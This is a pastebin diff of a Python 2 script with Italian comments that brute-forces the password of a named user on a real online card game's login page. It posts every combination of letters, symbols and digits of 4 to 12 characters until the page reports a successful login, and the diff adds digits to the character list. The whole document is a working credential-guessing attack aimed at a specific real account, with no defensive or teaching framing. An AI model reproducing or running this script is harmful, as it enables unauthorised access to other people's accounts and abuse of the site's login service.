SHOW:
|
|
- or go back to the newest paste.
1 | # Importo la libreria che ci serve per la connessione http | |
2 | import urllib | |
3 | ||
4 | # Username di cui si vuole scoprire la password | |
5 | username = "nooth" | |
6 | ||
7 | # Pagina di action a cui rimanda il form di login | |
8 | paginaLogin = "http://old.urban-rivals.com/?PHPSESSID=2b09dbe2123867a0cecbea1e0cbbbfe9" | |
9 | ||
10 | # Messaggio di avvenuto login | |
11 | messaggioDiAvvenutoLogin = "Login effettuato!" | |
12 | ||
13 | # Lista dei caratteri possibili in una password. | |
14 | - | listaCaratteri = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ".", ",", "-", "_", "@", "+"] |
14 | + | listaCaratteri = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ".", ",", "-", "_", "@", "+", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0"] |
15 | ||
16 | # Funzione che verifica se la password passata come parametro | |
17 | # e' quella corretta e di conseguenza e' stata indovinata. | |
18 | def testaPassword(password): | |
19 | print "Testando la password:", password | |
20 | ||
21 | # Invio i parametri da testare alla pagina di action (paginaLogin) | |
22 | parametriDaTestare = { "username" : username, "password" : password, "submit" : "1" } | |
23 | p= urllib.urlencode(parametriDaTestare) | |
24 | paginaDiAction = urllib.urlopen(paginaLogin, p) | |
25 | ||
26 | # Memorizzo la risposta della pagina di action nella variabile risultato | |
27 | risultato = paginaDiAction.read() | |
28 | ||
29 | # Controllo se la password e' corretta | |
30 | if messaggioDiAvvenutoLogin in risultato: | |
31 | print "Password trovata: ", password | |
32 | exit() | |
33 | else: | |
34 | return | |
35 | ||
36 | # Qui bisogna supporre una lunghezza massima della password, | |
37 | # ipotizziamo 12 caratteri. | |
38 | # Stabiliamo anche una lunghezza minima: 4 caratteri. Di conseguenza | |
39 | # da 4 caratteri in poi verra' testata la password (attraverso | |
40 | # la funzione testaPassword). | |
41 | for c1 in listaCaratteri: | |
42 | for c2 in listaCaratteri: | |
43 | for c3 in listaCaratteri: | |
44 | for c4 in listaCaratteri: | |
45 | psw = c1+c2+c3+c4 # La password da testare sara' composta dai caratteri | |
46 | # correnti ovvero c1, c2, c3, c4 | |
47 | testaPassword(psw) | |
48 | for c5 in listaCaratteri: | |
49 | psw = c1+c2+c3+c4+c5 # La password da testare sara' composta dai | |
50 | # caratteri correntiovvero c1, c2, c3, c4 | |
51 | testaPassword(psw) | |
52 | for c6 in listaCaratteri: | |
53 | psw = c1+c2+c3+c4+c5+c6 | |
54 | testaPassword(psw) | |
55 | for c7 in listaCaratteri: | |
56 | psw = c1+c2+c3+c4+c5+c6+c7 | |
57 | testaPassword(psw) | |
58 | for c8 in listaCaratteri: | |
59 | psw = c1+c2+c3+c4+c5+c6+c7+c8 | |
60 | testaPassword(psw) | |
61 | for c9 in listaCaratteri: | |
62 | psw = c1+c2+c3+c4+c5+c6+c7+c8+c9 | |
63 | testaPassword(psw) | |
64 | for c10 in listaCaratteri: | |
65 | psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10 | |
66 | testaPassword(psw) | |
67 | for c11 in listaCaratteri: | |
68 | psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11 | |
69 | testaPassword(psw) | |
70 | for c12 in listaCaratteri: | |
71 | psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11+c12 | |
72 | testaPassword(psw) |